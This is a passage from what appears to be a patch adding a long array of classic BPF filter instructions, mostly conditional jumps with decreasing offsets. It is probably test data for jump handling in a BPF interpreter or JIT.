0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xfe, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xfd, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xfc, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xfb, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xfa, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xef, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xee, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xed, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xec, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xeb, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xea, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xdf, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xde, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xdd, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xdc, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xdb, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xda, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xcf, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xce, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xcd, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xcc, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xcb, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xca, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xbf, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xbe, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xbd, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xbc, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xbb, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xba, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xaf, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xae, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xad, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xac, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xab, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xaa, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x99, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x98, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x97, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x96, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x95, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x94, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x93, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x92, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x91, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x90, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x89, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x88, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x87, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x86, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x85, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x84, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x83, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x82, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x81, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x80, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x79, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x78, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x77, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x76, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x75, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x74, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x73, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x72, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x71, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x70, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x69, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x68, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x67, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x66, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x65, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x64, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x63, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x62, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x61, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x60, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x59, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x58, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x57, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x56, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x55, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x54, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x53, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x52, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x51, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x50, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x49, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x48, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x47, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x46, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x45, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x44, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x43, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x42, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x41, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x40, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x39, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x38, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x37, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x36, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x35, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x34, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x33, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x32, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x31, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x30, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x29, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x25, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x24, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x23, .jf = 